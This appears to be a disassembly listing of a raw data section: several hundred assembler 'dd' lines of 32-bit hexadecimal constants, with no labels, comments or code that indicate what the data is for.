dd 742A4A39h, 0AB5B05D2h, 7D142D1Ch, 9E9BCE4Ah, 23FC276Eh
dd 7822AAA6h, 857091A6h, 0E42C4Bh, 88FFF934h, 60F424C5h
dd 0D003E94Ch, 3F4A5911h, 0E503BE9Bh, 0A69BE7B7h, 29780EB0h
dd 1B08860Eh, 0C5740268h, 82E4A427h, 0E9B8848Ch, 75155647h
dd 0E1AFB47Ch, 309BE55Ah, 0D9EEF12h, 0FC2FB3A9h, 20642E6Bh
dd 1FD9EE7Dh, 33034246h, 84BD054Eh, 6A92ADDAh, 7D2C6153h
dd 8D99F2A4h, 91AAF2DAh, 0C0582F3Eh, 643E66E3h, 2C7242E6h
dd 8E9B8929h, 0ABBF2B7Eh, 5D45DCCFh, 730284F4h, 43812F15h
dd 0E1985738h, 60B59769h, 0A453E6C1h, 6C382887h, 8C79CEFEh
dd 0A6D286E7h, 5B2B06FAh, 7E5CF6DFh, 0B2C6393Dh, 0C301BB77h
dd 0EAB93C87h, 6E780317h
dd 80FE3119h, 5BF65347h, 3ED93C20h, 0A395E5B0h, 9924277Ah
dd 0B04E8F2Ah, 35834E57h, 0A09B772Eh, 40B688FCh, 25A73F06h
dd 0F971EEA9h, 0EFDA93E9h, 0CA344B04h, 203E6734h, 0C1062B3Ah
dd 0CAFEE559h, 0E5DA5F22h, 9D45D48Ch, 9676FAC8h, 37E4617Bh
dd 8FFD6766h, 21DA6513h, 0A452E684h, 94E4749h, 0F818A76Ch
dd 0D5A5E957h, 357A4D55h, 7DD9990Fh, 0DCCF3B3Bh, 0AEF3DA3Ah
dd 8EEB40E9h, 53E7762h, 8CFE7464h, 0EAB85A7Fh, 43C3AA38h
dd 6DCABA9Fh, 0AB1D4B11h, 1668FB43h, 1CF8694Bh, 0C1DD602Ch
dd 4DD6EC88h, 51E7001Bh, 0E1F5FFAEh, 87AAF2ECh, 0C53D5D49h
dd 546A0200h, 0D8132181h, 0AE9B852Bh, 9ECC563Fh, 0B51049A0h
dd 1763C1F3h, 4382EF08h, 95F1AF6Dh, 5C4FF0Ch, 0A45582F9h
dd 5622918h, 0ED14BD7Ch, 0C3B0C358h, 5B0B0515h, 28F080B9h
dd 0DC2F4A55h, 0C001B32Ah, 94D849C4h, 0B1D1140h, 88FE147Ch
dd 0CEBFD328h, 38D31F17h, 22D7A288h, 194C4B68h, 0A560EA62h
dd 1CEF6B65h, 0C18C0520h, 51C389C2h, 4803363Eh, 947AF19Ch
dd 0E1E2F2F9h, 0C81E5E8Bh, 383E0DD1h, 0D13A4773h, 0B7C8F74Ah
dd 0CBBF5217h, 780C24CDh, 9254C4E1h, 22E6A664h, 0E198F263h
dd 5F3175Ah, 0C12083F0h, 185F5B53h, 0E004AA57h, 0D299E007h
dd 5B956BD9h, 0FBFF36Bh, 0D7725E5Eh, 0A4EDDE08h, 0E5B924CDh
dd 290B1F57h, 0D7913D64h, 0B3F79328h, 0EE08A31h, 48D6A48Eh
dd 311A3F7Fh, 3164EA58h, 739B636Ch, 0ADE80542h, 4530AAF7h
dd 24025375h, 0D0EAF2BCh, 0E4FC868Ch, 0B83D5BA6h, 4C7B68F4h
dd 0BE22329Ah, 0BDFEE244h, 2BBF3B1Eh, 3C2C5299h, 166E20EEh
dd 20FAEA63h, 88EB2773h, 9F1F933h, 0D63292FCh, 6C302928h
dd 0DF1DAC69h, 0C386F60Dh, 3682509Dh, 3BAFB38Eh, 19A35D52h
dd 0C164C627h, 83FE5C8Ch, 70C1077h, 0C08AC57Ah, 0D4913D61h
dd 0BD946F37h, 4BD7B3BCh, 0CD252778h, 0D57CFF50h, 16D40725h
dd 0B3D94631h, 540C89F4h, 47AD2144h, 976AED85h, 0FEEF2D9h
dd 0DD3142DAh, 785B1D55h, 0A8163712h, 0FE9B834Eh, 43CB5A3Eh
dd 0F1205AADh, 866D17E5h, 4382FB69h, 84D81715h, 16D6522Ah
dd 0CA3994FDh, 185C4C4Dh, 0E51FBD0Dh, 0A699E3FAh, 299D0330h
dd 1379940Eh, 22F45A4Dh, 0A8E4C220h, 95CD07F8h, 171F3D6Ah
dd 0BCFF9149h, 0F7857A7Eh, 0ECF98E03h, 8ECDBA97h, 0D9424B11h
dd 216FE67Fh, 22C76653h, 0BB2E6031h, 2002EC80h, 50EB214Fh
dd 0FAF0D97Dh, 7BAAF4ACh, 0EF2C47D9h, 0AD761500h, 0B919CC9Eh
dd 0EE9BDD2Bh, 28C8A63Eh, 0B237E2A3h, 74201ECh, 22CC0374h
dd 84FFB37Ah, 60A09722h, 0E20D83FBh, 3C894551h, 0FBBFA021h
dd 0A662F6D1h, 3D990370h, 1A5A948Ah, 49465057h, 0AB52A34Eh
dd 74D709F8h, 2B3DC54Fh, 78FF9464h, 0BF4D32Fh, 9D956F76h
dd 0CDA1D6FCh, 19444B13h, 0D5118F2Dh, 73A3072Eh, 0C24C0577h
dd 2022ECE2h, 274252DCh, 96199090h, 78AAF739h, 0B258216Ah
dd 0C83E72B4h, 0D475AB70h, 1E9BDF2Bh, 4BBCC76Ah, 1D4484CCh
dd 0F3017487h, 43844F06h, 0E1939713h, 60A11752h, 0A478E6ACh
dd 6CEE2930h, 8FD5C97Eh, 0A61A84D4h, 58BB02B0h, 737CFF6Bh
dd 4906273Bh, 0CF81A73Ah, 21847481h, 70368343h, 5498E15Bh
dd 2383A342h, 0BD1EDF0Bh, 9D38E66Eh, 69857B8Dh, 65CCBFFEh
dd 42F33603h, 0F3263422h, 11AEDD9Ah, 168863BEh, 0A85CA119h
dd 484FC6F6h, 824310A0h, 0F60740D5h, 0DE3098CEh, 3CFCEB7Ah
dd 993BF904h, 6FD3AE5Ch, 41DB3655h, 70B41DE4h, 0D935642Fh
dd 5C92AC17h, 98A1DA2Bh, 5281171Ch, 8FD9F7E7h, 0A612A4F4h
dd 58AB026Ch, 4111CCC0h, 7AB31B6Dh, 0FD8869CBh, 20674E3Ch
dd 6D7FB1F1h, 53AA022Dh, 2867605Bh, 0CE395CD6h, 0BE60E544h
dd 0AAAA78F7h, 0E120BCD1h, 47F3330Dh, 0F6303126h, 1470D88Ah
dd 136F6658h, 0ADC0A43Ah, 4BACC3E6h, 8332146Ch, 0F5A846B1h
dd 0D1BA98ECh, 986ED9Fh, 0B3B6F8B4h, 0A5F5ACF5h, 0CA172C68h
dd 79A93642h, 0DB5E2D46h, 5B372C1Eh, 9F8CDD66h, 50C81556h
dd 0B3BAF4A7h, 9B2DB7BBh, 65CB3C03h, 4F3CC00Ah, 769F16C3h
dd 0F2E5611Ch, 2D694A10h, 63DFADFDh, 6CFF2108h, 63F4121Fh
dd 0DCE5DF16h, 5F89E716h, 0EBFC794Ch, 6641BDC5h, 471634B8h
dd 0F6C331FCh, 15F5D9D3h, 12156741h, 0AD25A50Ah, 4A63C2CAh
dd 81BA14DAh, 0E9CF469Ch, 0CA729907h, 1884E33Eh, 0DD96E54Eh
dd 0EB07DAFFh, 454E12CEh, 75EFD959h, 0D715E16Ah, 5634A1B8h
dd 92D8D024h, 5A591FEBh, 0B909FE4Ch, 90E3BDE5h, 6E663797h
dd 4594CA10h, 7F111A23h, 0FBA564C2h, 34B85B30h, 6250DB11h
dd 50AC4945h, 5377EB74h, 0E50F57FCh, 756DEE54h, 218973DCh
dd 0EDD6B7CBh, 4A763E7Bh, 0FB5C3C22h, 19D7D59Eh, 1FFD6B48h
dd 0A1FFA968h, 46BCCE8Ah, 0B0651AC5h, 0E26E4EFEh, 0CE0F9510h
dd 643CED54h, 0F156EDA3h, 2660DFD7h, 0C8490FACh, 7817F462h
dd 0DA36AC87h, 5B7D2CEFh, 9F87DD5Ah, 50AF1551h, 0B390F4F1h
dd 9A5CB734h, 65E03CDBh, 4E5BC7CAh, 74BF138Ah, 0F14B6B88h
dd 315A5859h, 6570CFE8h, 29986C4Dh, 4E7AAE58h, 0F050D2DBh
dd 1045EB2Ch, 67307511h, 6B85B1ABh, 4C5239A8h, 0FD5A3A2Ch
dd 103CD386h, 19D26D5Fh, 0A471AF74h, 7DAAC896h, 885860CAh
dd 0D43E756Ch, 3C689EE4h, 7EDDE108h, 1BD5EB3Dh, 6DC8CC4Fh
dd 4202F44Bh, 72B79E1Ah, 0D0166669h, 510FA6BFh, 95BFD709h
dd 5D3818A5h, 0BE34F971h, 9426B979h, 6B5932D1h, 4091C8ADh
dd 79B8134Ah, 0FFCF79C6h, 3C46AE5Fh, 656DF00Fh, 23CB8224h
dd 4891607Ch, 0E165C1Dh, 3E37E570h, 0AAE078B1h, 0E6E2BC9Ch
dd 40AE34BDh, 0F6043169h, 1B36D8B7h, 12A266ADh, 0AF63A4CCh
dd 4630C3D7h, 0BAE21407h, 0E4DE41E2h, 315B9454h, 4BDDE614h
dd 3ECCEA0Ah, 0A8C4C1B8h, 0C68EE101h, 7649BAA7h, 0D7B122EBh
dd 56E62102h, 921CD0FBh, 5A431F19h, 0B93CFE0Dh, 913ABC6Eh
dd 6E772829h, 4574CE5Eh, 7CDE146Ah, 0C5EC782Fh, 38C5A3E3h
dd 63F5E485h, 2B58A69Bh, 74472486h, 1A55D8C1h, 0DA7CE130h
dd 0EEB97CCDh, 6D39B8D4h, 4B293F5Fh, 0FAB13D08h, 17F9D45Ah
dd 1FBB6BF3h, 0A3CCA99Dh, 4996CE20h, 0B61E1ACBh, 0D6534F1Ch
dd 26D29A7Dh, 5448F787h, 516199B2h, 0E64CF7CCh, 4864DFCBh
dd 7806547Ch, 0DA21ECB7h, 5B7FAC95h, 9854DCA8h, 50B80B47h
dd 0B37388A5h, 9ABB8E20h, 65F613DBh, 4EE02429h, 7664D834h
dd 0CF44FE73h, 35C2B1E6h, 6FF41E81h, 2509CC94h, 71F7EEFCh
dd 23CC5178h, 0F3F1E8A2h, 273875B5h, 0EB7DB19Ah, 4A93398Bh
dd 0FBC23B9Ah, 1410D3DEh, 160F6DBCh, 9545AF83h, 6FD7C9CDh
dd 7DCD18E3h, 5792492Bh, 2BCC9CC3h, 0A149F0EAh, 745698B6h
dd 1D44FB34h, 0F300A48Dh, 43854FBEh, 0D1AFA0CAh, 50D624A9h
dd 94F6D44Ch, 5C4905DAh, 0BF3F803Ah, 992C8A00h, 68330FB2h
dd 43B3764Fh, 781895D2h, 0C0B5746Ah, 3AFCB7C9h, 63C7005Fh
dd 33A8E622h, 63D5A486h, 3507D7A9h, 94D9EE09h, 60827225h
dd 6D43B67Ch, 4CF03E2Ch, 0FF653CFAh, 0E0FD50Eh, 8E26B36h
dd 879FA92Eh, 0B89CCA2h, 3A661D66h, 0DE724CB1h, 161198ADh
dd 0B4EEF340h, 9135912Ch, 67E1E646h, 49B3BE3Eh, 79451459h
dd 0DB436A1Fh, 5A4BAE41h, 9F65DE4Bh, 57CA09A1h, 0B4BB89D5h
dd 929D85BCh, 62710DA5h, 49246D82h, 714B42B8h, 0C8A100D5h
dd 310E0727h, 95B238C9h
dd 3B300AD2h, 603F6F0Dh, 41A6534Ch, 0B195EABBh, 0A4717761h
dd 0E806B3ABh, 4A593BF6h, 0FB2139DFh, 901D018h, 13B6E08h
dd 0F808ADC2h, 1BB5CB80h, 0DB761A0Fh, 9D044A01h, 99299831h
dd 83F7F643h, 0B63E9222h, 0A0D8E947h, 0CEA8A93Bh, 7E313377h
dd 0DC502D73h, 5D6A2940h, 99AAD8D6h, 511E0EDEh, 0B20D80F4h
dd 943680E2h, 67130B32h, 4FA86B65h, 74A74521h, 0CE3901FBh
dd 356D0A4Bh, 929C2DF1h, 33912E07h, 9B632C4Fh, 5278D0F6h
dd 5203E951h, 0E7F474E4h, 548DEF22h, 768B0644h, 0F7913568h
dd 5C1DCDCh, 0DEB62BDh, 0F4E1A089h, 1709C603h, 0D4E717A0h
dd 8D3A4782h, 8D6695FFh, 9FDDF43Ch, 0DAE38202h, 0EC3C1DA7h
dd 42C29510h, 7260DF11h, 0D382E123h, 524FA682h, 9706D635h
dd 5F0200DAh, 0BB508EF5h, 9D3489E2h, 6C2C018Bh, 44A561DBh
dd 7FAF48E4h, 0C65C0518h, 3DDF15EAh, 93F45A8Bh, 32F84B26h
dd 9659E966h, 67545516h, 7721EC3Fh, 2311700Dh, 0EFBFB408h
dd 4DD03C12h, 0FCEE3E38h, 0ECDD7A2h, 7CF6999h, 0FFBAAB6Ch
dd 1F48CD50h, 0C6C81A6Ah, 849D4423h, 88B99BD9h, 0E247FBF1h
dd 0F7498BBEh, 204E182Fh, 0CE20898Ah, 7EB1F3F6h, 0DCC1AD8Ah
dd 5DC529C0h, 990FD875h, 516D0E84h, 0B223808Eh, 9428809Fh
dd 64100954h, 4C0A6E9Bh, 740542C6h, 0CFB80976h, 3BF81ACBh
dd 96194D53h, 0A4F6F8Fh, 8AA4ADB7h, 72E9D070h, 12E2E9E9h
dd 6748742Ah, 6BF1B079h, 4908382Bh, 0F8673AFCh, 3442D321h
dd 3C022290h, 0C799900Ch, 15BBC6EEh, 0C87616D1h, 846F48B2h
dd 0FCE89696h, 0FE2FF18Ch, 1B7C8BEEh, 6DB80C3Ch, 421C759Dh
dd 72A99FF2h, 0D00A6126h, 510BA53Bh, 95A8D4A3h, 5ED602C6h
dd 0BDA78F05h, 9B038F94h, 6AF207F2h, 44C061BFh, 701B4450h
dd 0C70B1D4Dh, 30F46AB7h, 903E7551h, 6BB8756h, 8A916550h
dd 8B5C59D0h, 3B19E042h, 0AF087DF4h, 0E3B8B82Eh, 41BE307Dh
dd 0F0953251h, 327DB86h, 0BAB65D8h, 0F062A794h, 2D3EC154h
dd 0C9F81133h, 87924E90h, 0F3CD8EC0h, 0C96DF4EBh, 33B18754h
dd 0A56C0CF8h, 0CB4E6CDFh, 7AD6B792h, 0D85529EBh, 5A862E83h
dd 9E9CDFF6h, 57F709DFh, 0B4F7864Ch, 92DF87BBh, 62BA0879h
dd 4A406A04h, 797648FEh, 0CB8213B9h, 3AAD6982h, 9A216E4Eh
dd 2B1AF5Dh, 0BAB12D87h, 0ADE56F75h, 0EDC2D631h, 0E86F7B7Dh
dd 640EBFADh, 466C37FEh, 88535B6h, 50BDC1Fh, 0DA963BCh
dd 0F7D5A02Ah, 2ACED99Ah, 0CDCFEBF1h, 7D9370D3h, 0EE64B91Ch
dd 0DCBC2F3Eh, 5938716Fh, 0EFE2BE41h, 41B2563Fh, 71575C1Fh
dd 0D281E390h, 5330A7DDh, 97D1D694h, 5F5C00F6h, 0BB63894Dh
dd 9D1B88FEh, 6A0307C4h, 43C2643Eh, 740241CCh, 0CB601602h
dd 53779FDh, 0B7FC968Dh, 0CFBEC4A3h, 3BFFE4B7h, 0A5FE588Ch
dd 0F5A7EED9h, 20B7737Bh, 0EC47B7E7h, 4FAB3F85h, 1543D86h
dd 0D0ACA3Ch, 6776872h, 0FF97ABABh, 210CD2A4h, 0CBE2E0C1h
dd 71E97B74h, 0ED98B293h, 249726D5h, 71E47D16h, 26EEBE8Eh
dd 0C8B24F2Ch, 7E837529h, 0E1ABADEBh, 60518492h, 0A418E5A8h
dd 583B0054h, 0BAC88867h, 9F648AF2h, 69C30470h, 4F5168CFh
dd 79504F0Ch, 0C71A1FDDh, 9487C3Ah, 0B9318A3Ah, 0DD04E8B1h
dd 2E09AADFh, 0B7CED560h, 9741ECABh, 62AF7190h, 6F94B5C2h
dd 4D863C71h, 31C3FDAh, 0F63C8BBh, 4DE6A8Ah, 0F59BA966h
dd 25E7D71Eh, 0CC94E522h, 79097E2Dh, 0D1F2B797h, 335E24BAh
dd 965B7684h, 63D2A121h, 4DE43A2Ch, 7D631020h, 0DEBF6FB8h
dd 6051AB49h, 0A41B4520h, 6CA83328h, 0BE4B8D5Ch, 9AF68DEFh
dd 6A9D011Dh, 43926AD4h, 75C95DECh, 0C9CAEE92h, 5E14BBBh
dd 0A666B480h, 0DCDB098Ah, 20446F07h, 0C1BD532Ch, 0B137EA4Eh
dd 0A60676B2h, 0EA90B109h, 48F8391Dh, 6313ADDh, 0A49CD98h
dd 10B6FFCh, 0F63FAC4Eh, 21FFD42Ch, 0C9C8E650h, 403E7CDCh
dd 0E4753D71h, 3E9B1B6Eh, 0BBB77F51h, 0ADB4A421h, 0C210259Eh
dd 77203FF8h, 0D8102460h, 5A552D4Ah, 9E56DF01h, 56CA0916h
dd 0B5BD862Dh, 922099E9h, 654A0A79h, 4D5966B0h, 7CD35722h
dd 0C067E384h, 0DEA4A82h, 0A2DFADA8h, 0ECC3D108h, 640C1337h
dd 0DCCADE69h, 5EEFE408h, 0EB827846h, 618FBC8Ah, 764BD740h
dd 381C0498h, 486C338h, 0F8E6140h, 0C89972B8h, 1FAAEA69h
dd 0C024ED7Ah, 68AA77FDh, 0C8D5B86Dh, 1A2F2196h, 0DF0067ECh
dd 0E987D810h, 47C31057h, 774DDA04h, 0D576E468h, 54B6A188h
dd 90F1D7D0h, 58500BA8h, 0BBBD9076h, 9C396634h, 6B876478h
dd 438BA9FBh, 755BD823h, 0C920E66Eh, 199E59A4h, 0AF59D630h
dd 0DDF74430h, 5959E66Fh, 0E88F5A3Dh, 7B59E3AEh, 2DC07E4Eh
dd 0E2C5BA44h, 4D2F3228h, 97831FBh, 9DEC642h, 0FBC664CCh
dd 0DD95A73Bh, 0E93EDEE9h, 7FC4ED75h, 6D9A7115h, 0C1D9BADEh
dd 6B2F2294h, 0FE0062E8h, 2887D118h, 0C6C30166h, 764DFB64h
dd 0D476A4A7h, 55B72F0Ah, 91F0D4D4h, 59520EA0h, 0BAB99946h
dd 9F317554h, 697746B8h, 40EBED7Bh, 761C5923h, 0CBA1E16Eh
dd 1B9C52A4h, 0AE5DC530h, 0A2EF6730h, 4269A56Fh, 0FB6CD93Dh
dd 1818E0AEh, 61427D4Eh, 60C1B944h, 4C373129h, 64832FAh
dd 353EC54Ch, 0E88667F0h, 3D15A423h, 0AB3EDDF9h, 0FF74EE55h
dd 6D7E7DCAh, 353DB7B3h, 77CB286Eh, 12E46208h, 6423C5FFh
dd 4A66FDDAh, 7AE997FFh, 0D8D1684Ah, 59D3A210h, 9D97C6B4h
dd 5530FEE4h, 0B6D1AD3Ah, 908D4AE8h, 66C3A954h, 4F6F2347h
dd 7F20D88Fh, 0C1E2F7AAh, 125EA060h, 0AAADFFF4h, 0AD248DF4h
dd 7C3D6E2Bh, 3D009F75h, 0E8BD69Fh, 0A7587BD2h, 0E169BFF7h
dd 4D1F3609h, 57835DDh, 3A3EC26Eh, 0DF566014h, 1A85A33Bh
dd 630EDAF9h, 7FF4E905h, 61DA74D6h, 3599B09Ch, 4F6F22D0h
dd 39986EA0h, 0AF6FC683h, 0CB9AE206h, 7B7949D3h, 0D8C92BDDh
dd 59F0214Eh, 9DB2C49Ch, 5516FAD0h, 0B681A566h, 90F15B44h
dd 5F5BCF30h, 763F596Bh, 4381633Bh, 0E28BCF4Eh, 2FAC948Ch
dd 9451D300h, 9C2C9108h, 444D132Fh, 2D61EF75h, 0EECAD6FFh
dd 0D6124B16h, 50BD8F3Bh, 7E6B0742h, 28DC048Ch, 1302F330h
dd 0FE825178h, 4A9992DBh, 13AAEB49h, 0CC58D88Dh, 6C3E4577h
dd 1C7580F5h, 6E9B0CDEh, 6BBC5D44h, 0DD43F0B3h, 730EDD5Eh
dd 43996152h, 0E1A932BCh, 60545960h, 0A4117AC8h, 6CA3C178h
dd 8F4F98CEh, 0A9216AB4h, 5F43DF70h, 760F78EBh, 4361253Bh
dd 0E2C8434Eh, 282D8C8Ch, 95532300h, 9E28F108h, 485AD32Fh
dd 15516F75h, 0FF29D6FFh, 36544B16h, 13318F3Bh, 0FF630742h
dd 2ACC048Fh, 1F22F331h, 8142517Eh, 5A1992D7h, 0F0AAEAB1h
dd 8258DE9Ch, 0E83E4957h, 147598BAh, 9E9B7D5Fh, 4BBC0342h
dd 1D420CBFh, 0F30E6565h, 439A5142h, 0E1AFD29Bh, 60589922h
dd 0A409FB4Ch, 6C8CCF70h, 8E9184FEh, 0A89D12D4h, 5FCBEEB0h
dd 751EA76Bh, 4D33DBEh, 4C2E40A8h, 0E58B7637h, 5537AD15h
dd 0BA9ACC7Ah, 3AD230B2h, 2163D10Eh, 0FBE6168Ch, 0ED1C41D4h
dd 0A389874Bh, 240149C5h, 0FCC6CD9h, 83683B2Ch, 0CE700598h
dd 0C462F14Ah, 6C269EDh, 0B776E5ABh, 0A1DB28EBh, 0EFBDD8BBh
dd 921F47F0h, 0E9556F60h, 31A7AA01h, 63559D8Ch, 634FAC71h
dd 6DDCBC20h, 6F7E7CA9h, 0D8DEBAF6h, 1DC3A439h, 5ABE68D6h
dd 0CD6F4B11h, 87CD0BE8h, 61D5BC27h, 0D41ECF49h, 1510583Ch
dd 6CDBCD5Dh, 9AE75363h
dd 518EB4FAh, 6EB98B05h, 286ACEF4h, 4B9CD876h, 8C59F85Bh
dd 0C354CAF4h, 1A61EC16h, 2109185Bh, 0D0D394BAh, 0D554EA14h
dd 2872D124h, 94BB32C4h, 0FD7D36CEh, 0A5E548FFh, 1AD8433Fh
dd 7C39003Bh, 5F13449h, 1684B5E5h, 1D799F5h, 838A96DCh
dd 3DA8173h, 4329DB39h, 0E9BEE6EEh, 235BA42Bh, 0A37D62F3h
dd 28F15AB0h, 3F12FA65h, 29A0D327h, 0D1FEA858h, 45D894Eh
dd 1B0979F3h, 0F3E209BCh, 24E26D6Ah, 0FB45DCA8h, 0CB14E253h
dd 7CB30D92h, 875D88Fh, 39DD23CBh, 0B35C3A7Fh, 70EACFABh
dd 312AF26h, 0C59323DFh, 0AB8778E3h, 35CB4F0Fh, 0D6E0595Ah
dd 0A9D96E40h, 0E1E4FA12h, 434DAD0h, 0BBBD4860h, 1A3FEE2Bh
dd 17E911B6h, 70372AC2h, 0C8CC13C1h, 0F6A8B8FDh, 0A09D9231h
dd 547125EFh, 9852ECA8h, 5F3FD125h, 0A2AC7B78h, 9F591FEAh
dd 4FEFC900h, 3BC43EF0h, 0C6BE4DE6h, 20803F8h, 4F038BCAh
dd 0F6085D41h, 0C9B0D4E9h, 0C285CC4Dh, 0A68DB117h, 0F4BA031h
dd 46318623h, 5A7DE253h, 906628EFh, 0BF78937Ah, 166AB4DEh
dd 0E5E78891h, 0E8960024h, 3747CB30h, 1183D477h, 786A9A42h
dd 0AE0E1E4Fh, 0C7451294h, 2361F43Ch, 0B4FE4DB4h, 2DD9B8h
dd 5CA7167Ah, 18B71FF0h, 11A50DB6h, 1DE2ABA9h, 1B46C9B8h
dd 5D73C6Ah, 891469B1h, 0DAEFA913h, 71ACC94Ah, 7BCB364Ch
dd 0DCE03963h, 0A8BF9DF3h, 0D030988Ah, 4FB8C1Ch, 4DCC897Bh
dd 67556A54h, 1C59849h, 1E9F1F77h, 3627F1E0h, 0A36B8A23h
dd 30EC15C7h, 6900982Dh, 82C0548Ch, 88B2F533h, 36748D47h
dd 0F8740C68h, 0D6966C5Bh, 2DE0D9D7h, 111B5DA1h, 8E7A333Bh
dd 4A7B7854h, 0CC4C2AF5h, 4B66DC76h, 881525A0h, 0DD7CE6E6h
dd 859B1096h, 116F4F72h, 33A65223h, 0F0DCF651h, 1A3EF6E2h
dd 2F442012h, 1F62A222h, 0F6E0027Eh, 1500EFB8h, 61FE7F7Ah
dd 33DFFC5Bh, 0E112AAF2h, 79B72207h, 0B63E76F4h, 0FB7CD621h
dd 0D117D3D2h, 678BE37Ah, 0E2986DB8h, 66875D25h, 604186C1h
dd 2C1C9DA5h, 0EA58201Ah, 8C8127E5h, 0D37EFFC7h, 2B3CE4E0h
dd 0ED1A9D30h, 9DE7799Eh, 6B829E71h, 0CCB20E11h, 1DBFD5E1h
dd 0D1C71601h, 401EC4EAh, 4643A29Fh, 58ACCA25h, 0D7ACFA1Ah
dd 0BEC3C55Fh, 0A482D23Dh, 0BFABF049h, 1231FC7Fh, 32A2E3B3h
dd 0F7761565h, 9DA6EB00h, 9AEA8E6Eh, 0A78B67FEh, 6AA3F08Ch
dd 0C9308605h, 0B454BE74h, 5B1CFEF2h, 3D1D352Dh, 1924310h
dd 207A109h, 9309AD1Dh, 270533DAh, 0D125A0BCh, 62218D2Bh
dd 5EA5258Ch, 26E53996h, 4D275A2Fh, 9A14B5E9h, 6F2ACBD7h
dd 0F46E0BFBh, 76F2EDBDh, 0F8AE1162h, 0E5BEDCA5h, 24E32683h
dd 25127DEFh, 89293846h, 606CD800h, 372EE064h, 320D8840h
dd 4A86FE4Eh, 1CF7BC39h, 7BB8C80Bh, 9A04CF05h, 0BD8DC0BFh
dd 0B0619085h, 9E5E3AC0h, 0FE5EBB38h, 8D3C6ABh, 0B0C5FAC7h
dd 90088E5Ah, 543015DBh, 0CFB62CA3h, 0A0DE55C5h, 34E66FF3h
dd 96C22ACFh, 56536F45h, 67AE9A09h, 15CF712Dh, 973854AEh
dd 41DC3F78h, 83D698F5h, 7FC26ED3h, 79BDE8ADh, 0C39B1D4h
dd 2C79E187h, 0CA2C68EEh, 0EF5EF8DAh, 431CF81Eh, 0A44284E9h
dd 0BC43B5D3h, 80AA3BA0h, 6C3CD62Dh, 0D83FAA8Eh, 0B7447EFAh
dd 4473C783h, 15FB1AE9h, 21E683F3h, 34F21579h, 7F07307Fh
dd 0C102181h, 5BAE74E7h, 4BFF5D5Ch, 0BED4A03Bh, 8CDD044Dh
dd 0E883B547h, 37D0EE8Bh, 171E955Ah, 35247BAh, 98E513D5h
dd 74AA4794h, 2F83917Ch, 233679AAh, 0A19BF5B2h, 0CE961F2Ch
dd 69593ED4h, 145143F3h, 6996F730h, 0A537E6D8h, 0E08F8EB0h
dd 6E2A7CBDh, 2A45CB0Ch, 9242F7D6h, 38D052AFh, 3BA2BEDFh
dd 0E64849h, 0C063E920h, 62E31A89h, 0EA664C66h, 5A561B3Eh
dd 0F8731C43h, 5E232F47h, 2E73DC29h, 0E1C410BBh, 0F624A507h
dd 0A490ABA5h, 0DB5F716Ah, 9C4587CEh, 9AC2FDDAh, 0A02DB4C2h
dd 404BEE60h, 7F53C82Dh, 0D006E74h, 51119703h, 4D71B65Eh
dd 0F4C8DFFAh, 3193ADD1h, 0F8550DFFh, 0E505910Bh, 0DFE3EA63h
dd 0A07DED00h, 1133C0BBh, 3F0B4020h, 0D3EAF66h, 776C4D2Eh
dd 0B6A25925h, 0F2B65C37h, 9AF89449h, 187FF41Bh, 0B1498EB8h
dd 7DAAC87Ah, 0CDDCA1C0h, 587733B8h, 0A3CD5408h, 0D52C5FE5h
dd 6D142310h, 0A4D51629h, 0A00DCB78h, 0FCE9A781h, 707A6C7Eh
dd 0BB3B4432h, 4C7E6185h, 0F78323ECh, 738DDD3h, 0C8989E51h
dd 0C307CC9Eh, 310706CFh, 84E54A23h, 0F994EA5h, 0CBBB69A3h
dd 4D928F96h, 318B32EFh, 0A22D1B06h, 0C01F65A1h, 7A58AD4Ch
dd 2C52F245h, 0D7E32154h, 0AAF2481h, 945CC2FCh, 43D37B3Dh
dd 0A67ADCF2h, 36AE1357h, 139FDECh, 0F2EC59EDh, 0EF6F011Bh
dd 111E7BCCh, 405C12A4h, 16B79067h, 0F9C480FBh, 0F465A2F6h
dd 4539D031h, 0E7732EEh, 0C8464117h, 0C2EC724Fh, 1A99EA21h
dd 0F2840BBFh, 46E22932h, 0E57D1376h, 57B61B36h, 0F23B0A47h
dd 0AC30633Eh, 7DA98DC2h, 53189051h, 0D844D838h, 0D480C9D6h
dd 0B77303CCh, 0E9E31455h, 0CB002F2h, 0D2EAD427h, 0D31AEDBh
dd 5AED0A75h, 3D4D7473h, 754504ABh, 0A025F865h, 4B56C06Bh
dd 2E83DC90h, 3B1FFE08h, 573F7244h, 0D17E8C5h, 0BD8847Eh
dd 1464FE27h, 0D2C2E360h, 208DA716h, 38845BC5h, 0D3D9C460h
dd 0D6030131h, 0ECB20098h, 1D6F1A6Bh, 0A2C81E17h, 6A15BB06h
dd 0F1674DD8h, 2D21C1CEh, 0BD361A08h, 471E5034h, 0F1359608h
dd 0AEBE9894h, 9CF87D91h, 0BFBB83C1h, 0BAEC2EF7h, 3F2872A6h
dd 0D5181147h, 9443859Fh, 77F9C461h, 70CD1B97h, 2C46DE96h
dd 84D3D1F5h, 8D5CF7FBh, 2A2586ECh, 1B19F3A6h, 237849D4h
dd 13DF612Ch, 92CCF802h, 62215BFAh, 9834CB7Eh, 0CEC653D4h
dd 12C64377h, 70B66B14h, 0A7EE00E0h, 0B6F099F0h, 1FD842F1h
dd 783A85C9h, 0BDF21BBEh, 0F8881B4Fh, 677D9FDFh, 66DBB070h
dd 0AA02DD72h, 6617BD87h, 9151747h, 8BFE3803h, 0F3F3412Bh
dd 17CFAAAEh, 0F2FA96A8h, 18F32565h, 0F30A11E7h, 7406BF39h
dd 2636EAB8h, 55CA4498h, 39AF521Eh, 1D01D940h, 6360A5F7h
dd 0B33DE2C9h, 6A742909h, 0FF384873h, 0C9EB4B08h, 405DD32Fh
dd 40FC798Fh, 0FB86E269h, 3FD93C83h, 0C361ACBBh, 7211EE50h
dd 0E7517F76h, 3BAFE1BFh, 0ABECF175h, 76B12DAEh, 9A0252ACh
dd 39DA0BF6h, 675AC1Dh, 47821D65h, 0A0C43690h, 19406EF7h
dd 0DD01A255h, 0E8F0E486h, 267CB542h, 0E3C6D0CEh, 585514CEh
dd 0DD02383Dh, 626D9324h, 8845DBC0h, 8AC7C04Fh, 0C1E55843h
dd 69C3176h, 0ACA576CDh, 0C0CAFF09h, 0A53316BCh, 125DE540h
dd 64DB3AD1h, 0F416900Eh, 0B7240235h, 0E5FA51C1h, 0FF553FADh
dd 16669122h, 0B378E350h, 6783536Eh, 0C72BB77Ch, 85BBA17Fh
dd 0C1729F86h, 19469A1Eh, 0A9670FF3h, 0CBB09D5Ch, 0E463A024h
dd 55651C13h, 0D2F6FD7Dh, 0E9B1A423h, 46735E7Fh, 70638026h
